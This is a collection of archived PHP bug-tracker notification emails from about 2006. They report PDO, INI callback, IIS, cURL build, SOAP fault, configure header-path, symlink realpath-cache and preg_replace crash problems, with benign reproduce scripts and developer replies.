#35793 [Com]: General error: 2050
ID: 35793 Comment by: arnaud dot lb at gmail dot com Reported By: deadman_great at mail dot ru Status: No Feedback Bug Type: PDO related Operating System: RH Fedora Core 2 PHP Version: 5CVS-2005-12-25 (snap) Assigned To: Wez New Comment: I have the same problem with php-5.2, mysql-5.0.26 on Debian system. Fixed the problem using the PDO::MYSQL_ATTR_USE_BUFFERED_QUERY option. It seems that closeCursor() does not works properly. Previous Comments: [2006-11-01 15:11:55] richard at phase dot org $this-pdo-setAttribute(PDO::ATTR_EMULATE_PREPARES, true); (a suggested fix above) fails on 5.2.RC6 as PDO::ATTR_EMULATE_PREPARES appears no longer to be defined. [2006-10-17 01:15:58] michal dot vrchota at seznam dot cz I think I have solved this problem: You have to free your PDOStatement instance Of course You have to call closeCursor() method to be sure, but if you have more queries and still using same identifier ($stmt) you have free it by passing NULL value Sample: $stmt-closeCursor(); $stmt = NULL; // now it works ;) [2006-10-16 14:46:09] andiesPostfach at web dot de The Problem still exists in PHP 5.2 RC5 !! System ist SUSE-Linux 9.3 MySQL Version 5.0.18 [2006-08-23 11:14:46] tjerk dot meesters at gmail dot com This problem still occurs with: PHP-5.1.5 MySQL-5.0.22 Linux platform Using PDO::ATTR_EMULATE_PREPARES doesn't resolve the problem, the error message remains: SQLSTATE[HY000]: General error: 2050 Row retrieval was canceled by mysql_stmt_close() call [2006-08-01 20:52:55] mass at carlsoft dot net Can we at least change this error message to be more specific, perhaps suggesting to emulate prepares (as wez @ php . net suggested)? or better yet make the emulation default? The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/35793 -- Edit this bug report at http://bugs.php.net/?id=35793edit=1
#39344 [Opn]: Unnecessary calls to OnModify callback routine for an extension INI directive
ID: 39344
User updated by: wharmby at uk dot ibm dot com
Reported By: wharmby at uk dot ibm dot com
Status: Open
Bug Type: Scripting Engine problem
Operating System: Windows XP
-PHP Version: 4CVS-2006-11-02 (snap)
+PHP Version: 5CVS-2006-11-02 (snap)
New Comment:
Correcting version; behaviour was observed in V5 not V4
Previous Comments:
[2006-11-02 11:10:56] wharmby at uk dot ibm dot com
Description:
Unnecessary calls to OnModify callback routine for an
extension INI directives in ZTS enabled builds.
Please note the problem reported here only applies to ZTS
enabled builds.
I have tried the supplied testcase on the latest snap-shot
build for Windows (Nov 2, 2006 09:30 GMT)and the problem
persists. phpinfo() shows PHP Version = 5.2.1-dev.
Problem also persists in latest checked in version of file
in CVS.
If I define a OnMOdify callback routine for an extension INI
directive the routine is called multiple times during
startup even though the directive is not being continually
modified. I expected one call as a result of modification to
the directive in php.ini but instead I got 3 calls.
I spotted this behaviour reviewing the engine code whilst
reading Sara Golemon's book Extending and Embedding PHP
and include a slightly modified version of sample code
from her book to illustrate the unnecessary calls.
The first problem is that in a ZTS enabled build
zend_ini_refresh_caches() is called twice for each new
thread. The method zend_new_thread_end_handler() calls it
directly as follows:
static void zend_new_thread_end_handler(THREAD_T thread_id TSRMLS_DC)
{
zend_copy_ini_directives(TSRMLS_C);
zend_ini_refresh_caches(ZEND_INI_STAGE_STARTUP TSRMLS_CC);
}
However, zend_copy_ini_directives() itself also calls
zend_ini_refresh_caches() so we end up calling any OnModifty callback
routines twice for each new thread.
I believe that:
(1) the call in zend_copy_ini_directives() can safely be
removed, and
(2) the call in zend_new_thread_end_handler() should
really be conditional on the success of the copy
operation, otherwise we could attempt to iterate
over a non-existent hash and die.
This will reduce the number of calls to 2 on ZTS emabled builds but any
OnModifycallback routine will still be called twice on the startup
thread in ZTS enabled builds; once by zend_register_ini_entries()
during MINIT processing when an extension registers its INI directives
and again on ZTS
builds during zend_post_startup() processing, i.e
zend_post_startup() - zend_new_thread_end_handler() -
zend_ini_refresh_caches()
Whilst the call to the OnModify callback routine from
zend_register_ini_entries() is required for non-ZTS builds
to work correctly I can see no need for a call from
zend_ini_refresh_caches() during zend_post-startup
processing. I believe this can easily be resolved by
modifying zend_post_startup() to call
zend_copy_ini_directives()
instead of
zend_new_thread_end_handler()
My patch for zend.c is here: http://pastebin.ca/234196
and for zend_ini.c here: http://pastebin.ca/234200
Reproduce code:
---
Reproduce code is here: http://pastebin.ca/234201
I tested by adding the following to php.ini:
sample4.greeting=Hello Andy
or via command line as:
-dsample4.greeting=Hello Andy
Expected result:
When running using CLI on Windows, i.e a ZTS enabled build, I
expected to see 1 call to my extensions OnModify callback
routine for each thread attached; so in this simple case I expected to
see just the 1 call as follows:
sample 4: thread 0xfbc minit
sample 4: thread 0xfbc greeting modified..new value is Hello Andy
sample 4: thread 0xfbc minit
Hello Andy
Actual result:
--
The OnModify call back routine is in fact called 3 times; once
during MINIT processing and twice further. These last 2 are during the
call to zend_new_thread-end_handler().
sample 4: thread 0x16f8 minit
sample 4: thread 0x16f8 greeting modified..new value is Hello Andy
sample 4: thread 0x16f8 minit
sample 4: thread 0x16f8 greeting modified..new value is Hello Andy
sample 4: thread 0x16f8 greeting modified..new value is Hello Andy
Hello Andy
--
Edit this bug report at http://bugs.php.net/?id=39344edit=1
#38111 [Com]: PHP crashes IIS worker process and application pool
ID: 38111 Comment by: albert at siprep dot org Reported By: svendavidh at hotmail dot com Status: No Feedback Bug Type: IIS related Operating System: Windows Server 2003 Std. Ed. R2 PHP Version: 5.1.4 New Comment: Same problem with PHP 5.1.6. Previous Comments: [2006-07-27 01:00:00] php-bugs at lists dot php dot net No feedback was provided for this bug for over a week, so it is being suspended automatically. If you are able to provide the information that was originally requested, please do so and change the status of the bug back to Open. [2006-07-24 16:08:30] cyberchrist at futura dot net svendavidh: MSVC6 is Microsoft Visual C++ 6.0. Presumably, one could accomplish the same task on later versions of Microsoft Visual Studio. How, I don't know, nor could I recommend installing a development studio on a live production server. Looks like someone needs to set up a Win2K3 R2 server offline, load up visual studio, and run the backtrace. I have neither the equipment nor the software to do this. Here's hoping you do, I just realized that I'm suffering from this same bug myself. [2006-07-17 12:29:18] svendavidh at hotmail dot com PS: I'm going on holiday tomorrow, so I won't be able to reply to answers here before Monday July 24th. Just wanted to let you know that [2006-07-16 18:23:55] svendavidh at hotmail dot com Hello sir! I'd like to do exactly what you say. But do you have any hints on where to get a hold of MSVC6? To be honest, I'm not even sure what it is. I guess it's a tool for programming Visual C? I've googled the net, but I can't find anywhere I can download MSVC6. I assume it's not freeware? Any additional info regarding this would be appreciated. Also, I can't find a debug-pack for v5.1.4. Can I use the one for v5.2? (http://snaps.php.net/win32/php5.2-dbgpack-win32-latest.zip) Once I get some answers to this I'll do be best (and 1st) attempt to create that backtrace for you [2006-07-16 16:45:30] [EMAIL PROTECTED] Thank you for this bug report. To properly diagnose the problem, we need a backtrace to see what is happening behind the scenes. To find out how to generate a backtrace, please read http://bugs.php.net/bugs-generating-backtrace.php for *NIX and http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32 Once you have generated a backtrace, please submit it to this bug report and change the status back to Open. Thank you for helping us make PHP better. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/38111 -- Edit this bug report at http://bugs.php.net/?id=38111edit=1
#39343 [Opn]: PHP wont compile with latest Curl
ID: 39343 User updated by: steve dot kirtley at gmail dot com Reported By: steve dot kirtley at gmail dot com Status: Open Bug Type: cURL related Operating System: Red Hat / Apache/1.3.26 PHP Version: 4.4.4 New Comment: Thanks for the quick reply - hoping you can help me solve this one... Sorry, full error from Make command below: [EMAIL PROTECTED] php-4.4.4]# make /bin/sh /home/willis_s/php-4.4.4/libtool --silent --preserve-dup-deps --mode=compile gcc -Iext/curl/ -I/home/willis_s/php-4.4.4/ext/curl/ -DPHP_ATOM_INC -I/home/willis_s/php-4.4.4/include -I/home/willis_s/php-4.4.4/main -I/home/willis_s/php-4.4.4 -I/usr/lib/include -I/usr/local/mysql/include -I/usr/local/oracle/rdbms/public -I/usr/local/oracle/rdbms/demo -I/home/willis_s/php-4.4.4/ext/xml/expat -I/home/willis_s/php-4.4.4/TSRM -I/home/willis_s/php-4.4.4/Zend-g -O2 -prefer-non-pic -c /home/willis_s/php-4.4.4/ext/curl/curl.c -o ext/curl/curl.lo /home/willis_s/php-4.4.4/ext/curl/curl.c: In function `zm_startup_curl': /home/willis_s/php-4.4.4/ext/curl/curl.c:261: `CURLOPT_FTPASCII' undeclared (first use in this function) /home/willis_s/php-4.4.4/ext/curl/curl.c:261: (Each undeclared identifier is reported only once /home/willis_s/php-4.4.4/ext/curl/curl.c:261: for each function it appears in.) /home/willis_s/php-4.4.4/ext/curl/curl.c:299: `CURLOPT_PASSWDFUNCTION' undeclared (first use in this function) make: *** [ext/curl/curl.lo] Error 1 [EMAIL PROTECTED] php-4.4.4]# Previous Comments: [2006-11-02 22:27:06] daniel at haxx dot se 1. You cut off the build error too early so the error doesn't really show 2. They aren't deprecated _functions_, they are deprecated symbols == defines in the curl public header file. [2006-11-02 11:04:23] steve dot kirtley at gmail dot com Description: Installed latest libcurl and curl libraries (no previous version) which worked fine with PHP 4.4.2 - however will not compile with 4.4.4 Reproduce code: --- Using following configure command, (which worked and still works with 4.4.2): ./configure --with-db --with-gdbm --with-xml --with-apxs=/usr/local/apache/bin/apxs --with-mysql=/usr/local/mysql --with-oci8=/usr/local/oracle --enable-sigchild --enable-trans-sid --with-pgsq --with-curl=/usr/lib Configure is successful but errors shown below appear when running 'make' /bin/sh /home/willis_s/php-4.4.4/libtool --silent --preserve-dup-deps --mode=compile gcc -Iext/curl/ -I/home/willis_s/php-4.4.4/ext/curl/ -DPHP_ATOM_INC -I/home/willis_s/php-4.4.4/include -I/home/willis_s/php-4.4.4/main -I/home/willis_s/php-4.4.4 -I/usr/lib/include -I/usr/local/mysql/include -I/usr/local/oracle/rdbms/public -I/usr/local/oracle/rdbms/demo -I/home/willis_s/php-4.4.4/ext/xml/expat -I/home/willis_s/php-4.4.4/TSRM -I/home/willis_s/php-4.4.4/Zend-g -O2 -prefer-non-pic -c /home/willis_s/php-4.4.4/ext/curl/curl.c -o ext/curl/curl.lo Expected result: With PHP 4.4.2 installs without issues using same process. Have posted onto the curl mailing list who advised these PHP ext files are referencing deprecated functions. -- Edit this bug report at http://bugs.php.net/?id=39343edit=1
#39357 [NEW]: absent fault detail node
From: yaksenov at iponweb dot net Operating system: gentoo-linux PHP version: 5.2.0 PHP Bug Type: SOAP related Bug description: absent fault detail node Description: SoapFault-__construct() with 'faultname' causes wrong fault response: the detail node is absent. Reproduce code: --- http://rapidshare.com/files/1788815/soap_fault_detail_post.tar.gz Expected result: ?xml version=1.0 encoding=UTF-8? SOAP-ENV:Envelope xmlns:SOAP-ENV=http://schemas.xmlsoap.org/soap/envelope/; xmlns:xsd=http://www.w3.org/2001/XMLSchema; xmlns:SOAP-ENC=http://schemas.xmlsoap.org/soap/encoding/; xmlns:ns1=http://api.mymanager.com/types; xmlns:ns2=urn:ContactService xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance; SOAP-ENV:encodingStyle=http://schemas.xmlsoap.org/soap/encoding/; SOAP-ENV:Body SOAP-ENV:Fault faultcodeSOAP-ENV:Server/faultcode faultstringalways throw exception/faultstring faultactorhttp://localhost/soap_fault_detail/contact.php/faultactor detail ns2:exception_detail xsi:type=ns1:exception_detail code xsi:type=xsd:stringaccess/code /ns2:exception_detail /detail /SOAP-ENV:Fault /SOAP-ENV:Body /SOAP-ENV:Envelope Actual result: -- ?xml version=1.0 encoding=UTF-8? SOAP-ENV:Envelope xmlns:SOAP-ENV=http://schemas.xmlsoap.org/soap/envelope/; xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance; xmlns:ns1=http://api.mymanager.com/types; SOAP-ENV:Body SOAP-ENV:Fault faultcodeSOAP-ENV:Server/faultcode faultstringalways throw exception/faultstring faultactorhttp://localhost/soap_fault_detail/contact.php/faultactor exception_detail xsi:type=ns1:exception_detail codeaccess/code /exception_detail /SOAP-ENV:Fault /SOAP-ENV:Body /SOAP-ENV:Envelope -- Edit bug report at http://bugs.php.net/?id=39357edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=39357r=trysnapshot44 Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=39357r=trysnapshot52 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=39357r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=39357r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=39357r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=39357r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=39357r=needscript Try newer version:http://bugs.php.net/fix.php?id=39357r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=39357r=support Expected behavior:http://bugs.php.net/fix.php?id=39357r=notwrong Not enough info: http://bugs.php.net/fix.php?id=39357r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=39357r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=39357r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39357r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=39357r=dst IIS Stability:http://bugs.php.net/fix.php?id=39357r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=39357r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=39357r=float No Zend Extensions: http://bugs.php.net/fix.php?id=39357r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=39357r=mysqlcfg
#39358 [NEW]: INSTALL_HEADERS contains incorrect reference to php_filter.h
From: kennyz at nycap dot rr dot com Operating system: Linux PHP version: 5.2.0 PHP Bug Type: *Compile Issues Bug description: INSTALL_HEADERS contains incorrect reference to php_filter.h Description: The ./configure script for PHP 5.2.0 contains a small error that affects the directory layout after a make install. On line 32682 of configure, the line: for header_file in $ext_srcdir/php_filter.h; do causes $header_file to contain the full path to php_filter.h, instead of a relative path like all of the other $header_file settings throughout ./configure. Therefore, if $ext_srcdir is /usr/local/src/php-5.2.0, the installation location for the filter extension ends up being: $(INSTALL_ROOT)/usr/include/php/usr/local/src/php-5.2.0/ext/filter, which is obviously not correct. The Makefile that was generated from ./configure clearly shows the problem: INSTALL_HEADERS = ext/libxml/php_libxml.h ext/pcre/php_pcre.h ext/pcre/pcrelib/ ext/date/php_date.h ext/date/lib/timelib.h ext/date/lib/timelib_structs.h ext/date/lib/timelib_config.h ext/dom/xml_common.h /usr/local/src/php-5.2.0/ext/filter/php_filter.h ext/gd/ ext/gd/libgd/ ext/hash/php_hash.h ext/hash/php_hash_md.h . The full path to php_filter.h is caused by the mistake on line 32682 in ./configure. The correct line in ./configure should be: for header_file in ext/filter/php_filter.h; do This fixes the problem in the resulting Makefile, and therefore fixes the issue with the bad layout after make install. -- Edit bug report at http://bugs.php.net/?id=39358edit=1 -- Try a CVS snapshot (PHP 4.4): http://bugs.php.net/fix.php?id=39358r=trysnapshot44 Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=39358r=trysnapshot52 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=39358r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=39358r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=39358r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=39358r=needtrace Need Reproduce Script:http://bugs.php.net/fix.php?id=39358r=needscript Try newer version:http://bugs.php.net/fix.php?id=39358r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=39358r=support Expected behavior:http://bugs.php.net/fix.php?id=39358r=notwrong Not enough info: http://bugs.php.net/fix.php?id=39358r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=39358r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=39358r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=39358r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=39358r=dst IIS Stability:http://bugs.php.net/fix.php?id=39358r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=39358r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=39358r=float No Zend Extensions: http://bugs.php.net/fix.php?id=39358r=nozend MySQL Configuration Error:http://bugs.php.net/fix.php?id=39358r=mysqlcfg
#39357 [Opn]: absent fault detail node
ID: 39357 User updated by: yaksenov at iponweb dot net Reported By: yaksenov at iponweb dot net Status: Open Bug Type: SOAP related Operating System: gentoo-linux PHP Version: 5.2.0 New Comment: updated code to reproduce the behavior - client.pl added http://rapidshare.com/files/1796872/soap_fault_detail_post.tar.gz MD5: fde0f911544e2096c4e992d23b1df0e8 Previous Comments: [2006-11-03 10:01:11] yaksenov at iponweb dot net Description: SoapFault-__construct() with 'faultname' causes wrong fault response: the detail node is absent. Reproduce code: --- http://rapidshare.com/files/1788815/soap_fault_detail_post.tar.gz Expected result: ?xml version=1.0 encoding=UTF-8? SOAP-ENV:Envelope xmlns:SOAP-ENV=http://schemas.xmlsoap.org/soap/envelope/; xmlns:xsd=http://www.w3.org/2001/XMLSchema; xmlns:SOAP-ENC=http://schemas.xmlsoap.org/soap/encoding/; xmlns:ns1=http://api.mymanager.com/types; xmlns:ns2=urn:ContactService xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance; SOAP-ENV:encodingStyle=http://schemas.xmlsoap.org/soap/encoding/; SOAP-ENV:Body SOAP-ENV:Fault faultcodeSOAP-ENV:Server/faultcode faultstringalways throw exception/faultstring faultactorhttp://localhost/soap_fault_detail/contact.php/faultactor detail ns2:exception_detail xsi:type=ns1:exception_detail code xsi:type=xsd:stringaccess/code /ns2:exception_detail /detail /SOAP-ENV:Fault /SOAP-ENV:Body /SOAP-ENV:Envelope Actual result: -- ?xml version=1.0 encoding=UTF-8? SOAP-ENV:Envelope xmlns:SOAP-ENV=http://schemas.xmlsoap.org/soap/envelope/; xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance; xmlns:ns1=http://api.mymanager.com/types; SOAP-ENV:Body SOAP-ENV:Fault faultcodeSOAP-ENV:Server/faultcode faultstringalways throw exception/faultstring faultactorhttp://localhost/soap_fault_detail/contact.php/faultactor exception_detail xsi:type=ns1:exception_detail codeaccess/code /exception_detail /SOAP-ENV:Fault /SOAP-ENV:Body /SOAP-ENV:Envelope -- Edit this bug report at http://bugs.php.net/?id=39357edit=1
#36555 [Bgs]: readfile() return old contents after a symlink() over an existing link...
ID: 36555
User updated by: p at damezin dot com
-Summary: readfile() return old contents after a symlink() on
the same link...
Reported By: p at damezin dot com
Status: Bogus
Bug Type: Filesystem function related
Operating System: Linux OpenBSD
-PHP Version: 5.1.6
+PHP Version: 5.2.0
New Comment:
still have this problem on 5.2.
Previous Comments:
[2006-10-12 22:00:43] p at damezin dot com
still have this problem on 5.1.6
[2006-10-12 21:57:35] p at damezin dot com
Still have this problem on 5.1.4
[2006-02-28 11:22:30] p at damezin dot com
It's the same with clearstatcache(), this is why you can see it comment
in the testcase. It have no influence.
[2006-02-28 11:15:21] [EMAIL PROTECTED]
Use clearstatcache() when you need to reset stat cache.
[2006-02-28 11:11:57] p at damezin dot com
Description:
readfile() and file_get_contents() returns the old contents from an
internal php cache when a symlink is modified. Or it will return the
contents of an unlinked symlink().
This problem does not accured when realpath_cache_size is 0.
With php5 on apache2, the problem also exist from 1 page to another.
(more disturbing)
Reproduced on php 5.1.1 and 5.1.2 using Ubuntu or Gentoo Linux. Linux
Kernels 2.6.11, 2.6.15...
Reproduce code:
---
?php
define('TEST_NUMBER', 2); // 1 ou 2
define('TEST_FILE1', 'testfile1');
define('TEST_FILE2', 'testfile2');
define('TEST_LINK', 'testlink');
// inexistant function in PHP4
if(!function_exists('file_put_contents')) {
function file_put_contents($file, $content) {
$fp = fopen($file,'w');
fputs($fp, $content);
fclose($fp);
}
}
file_put_contents(TEST_FILE1, 42);
file_put_contents(TEST_FILE2, 43);
// creating the TEST_LINK, using a temp. TEST_LINK NEEDED
$uid = uniqid(time());
symlink(TEST_FILE1, TEST_LINK . $uid);
rename(TEST_LINK . $uid, TEST_LINK);
// reading this file one time NEEDED
file_get_contents(TEST_LINK);
if(TEST_NUMBER === 1) {
unlink(TEST_LINK);
$good_result = '';
}
elseif(TEST_NUMBER === 2) {
$uid = uniqid(time());
symlink(TEST_FILE2, TEST_LINK . $uid);
rename(TEST_LINK . $uid, TEST_LINK);
$good_result = file_get_contents(TEST_FILE2);
}
// sleep(2);
// clearstatcache();
$result = @file_get_contents(TEST_LINK);
echo TEST . TEST_NUMBER . : . (($result == $good_result) ?
'SUCCEED' : 'FAILED') . \n;
echo result : [ . $result . ] | ;
echo expected : [ . $good_result . ]\n;
echo php version : . PHP_VERSION.\n;
echo realpath_cache_size (if available) : .
@ini_get('realpath_cache_size') . \n;
// cleaning
@unlink(TEST_LINK);
unlink(TEST_FILE1);
unlink(TEST_FILE2);
?
Expected result:
dynphp2 root # php testcasephp.php
TEST 1 : SUCCEED
result : [] | expected : []
php version : 4.4.0
realpath_cache_size (if available) :
dynphp2 root # php testcasephp.php
TEST 2 : SUCCEED
result : [43] | expected : [43]
php version : 4.4.0
realpath_cache_size (if available) :
---
TEST 1 : SUCCEED
result : [] | expected : []
php version : 5.0.5
realpath_cache_size (if available) :
TEST 2 : SUCCEED
result : [43] | expected : [43]
php version : 5.0.5
realpath_cache_size (if available) :
Actual result:
--
lore ~ # php testcasephp.php
TEST 1 : FAILED
result : [42] | expected : []
php version : 5.1.2
realpath_cache_size (if available) : 16384
lore ~ # php testcasephp.php
TEST 2 : FAILED
result : [42] | expected : [43]
php version : 5.1.2
realpath_cache_size (if available) : 16384
---
TEST 1 : FAILED
result : [42] | expected : []
php version : 5.1.1-gentoo
realpath_cache_size (if available) : 16K
TEST 2 : FAILED
result : [42] | expected : [43]
php version : 5.1.1-gentoo
realpath_cache_size (if available) : 16K
--
Edit this bug report at http://bugs.php.net/?id=36555edit=1
#36555 [Bgs]: realpath_cache bug: readfile get old data after a symlink over an existing link
ID: 36555 User updated by: p at damezin dot com -Summary: readfile() return old contents after a symlink() over an existing link... Reported By: p at damezin dot com Status: Bogus Bug Type: Filesystem function related Operating System: Linux OpenBSD PHP Version: 5.2.0 New Comment: new summary (perhaps it would make this bug more interesting...) Bug on 5.2.0 is verified with default configuration (without php.ini) and sources provided from php.net (no patch from a portage). Previous Comments: [2006-11-03 12:00:15] p at damezin dot com still have this problem on 5.2. [2006-10-12 22:00:43] p at damezin dot com still have this problem on 5.1.6 [2006-10-12 21:57:35] p at damezin dot com Still have this problem on 5.1.4 [2006-02-28 11:22:30] p at damezin dot com It's the same with clearstatcache(), this is why you can see it comment in the testcase. It have no influence. [2006-02-28 11:15:21] [EMAIL PROTECTED] Use clearstatcache() when you need to reset stat cache. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/36555 -- Edit this bug report at http://bugs.php.net/?id=36555edit=1
#36555 [Bgs]: realpath_cache never updated with symlinks (removed or renamed)
ID: 36555
User updated by: p at damezin dot com
-Summary: realpath_cache bug: readfile get old data after a
symlink over an existing link
Reported By: p at damezin dot com
Status: Bogus
Bug Type: Filesystem function related
Operating System: Linux OpenBSD
PHP Version: 5.2.0
New Comment:
New simplified testcase :
?php
define('TEST_FILE1', '/tmp/testfile1');
define('TEST_LINK', '/tmp/testlink');
file_put_contents(TEST_FILE1, '42');
// create TEST_LINK pointing on TEST_FILE1 using a temporary filename
(needed)
$tmp_link_name = TEST_LINK . uniqid(time());
symlink(TEST_FILE1, $tmp_link_name);
rename($tmp_link_name, TEST_LINK);
// reading this link/file
file_get_contents(TEST_LINK);
// remove the link (we have the same bug making this link pointing
somewhere else)
unlink(TEST_LINK);
$good_result = '';
// clearstatcache have no effect
clearstatcache();
// fetching result, must be empty (link does not exist)
$result = @file_get_contents(TEST_LINK);
// on bogus php it return TEST_FILE1 content
echo TEST : . (($result == $good_result) ?
'SUCCEED' : 'FAILED') . \n;
echo result : ' . $result . ' | ;
echo expected : ' . $good_result . '\n;
echo php version : . PHP_VERSION.\n;
echo realpath_cache_size (if available) : .
@ini_get('realpath_cache_size') . \n;
// cleaning
@unlink(TEST_LINK);
unlink(TEST_FILE1);
?
Previous Comments:
[2006-11-03 12:07:58] p at damezin dot com
new summary (perhaps it would make this bug more interesting...)
Bug on 5.2.0 is verified with default configuration (without php.ini)
and sources provided from php.net (no patch from a portage).
[2006-11-03 12:00:15] p at damezin dot com
still have this problem on 5.2.
[2006-10-12 22:00:43] p at damezin dot com
still have this problem on 5.1.6
[2006-10-12 21:57:35] p at damezin dot com
Still have this problem on 5.1.4
[2006-02-28 11:22:30] p at damezin dot com
It's the same with clearstatcache(), this is why you can see it comment
in the testcase. It have no influence.
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/36555
--
Edit this bug report at http://bugs.php.net/?id=36555edit=1
#39349 [Opn]: Core dump on preg_replace
ID: 39349
User updated by: nikolas dot hagelstein at gmail dot com
Reported By: nikolas dot hagelstein at gmail dot com
Status: Open
Bug Type: Reproducible crash
Operating System: Netbsd 3.0.1
PHP Version: 5.2.0
New Comment:
I was able to narrow down the problem to the following it seems to be
size/overflow related:
?
$out=EOT
{abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxyabcdefghijklmnopqrstuvwxy
abcdefghijklmnopqrstuvwxyabcdefghijklmnopqr
}
EOT;
$out=preg_replace(/\n/,,$out);
$out=preg_replace(/\{(?:[^{}]|\{(?:[^{}]|\{(?:[^{}]|\{[^{}]*\})*\})*\})*\}/,,$out);
?
This Coredumps but if i reduce the string by one char (ie the 'r') it
stops coredumping.
Previous Comments:
[2006-11-02 21:14:29] nikolas dot hagelstein at gmail dot com
Description:
Passing large text to the beyond mentioned regexp makes php core dump
Reproduce code:
---
$out=preg_replace(/\{(?:[^{}]|\{(?:[^{}]|\{(?:[^{}]|\{[^{}]*\})*\})*\})*\}/,,$out);
Where $out is content xml:space=preserve of
http://en.wikipedia.org/w/query.php?what=contenttitles=moon
Probably related to some libc issues.
--
Edit this bug report at http://bugs.php.net/?id=39349edit=1
#39343 [Com]: PHP wont compile with latest Curl
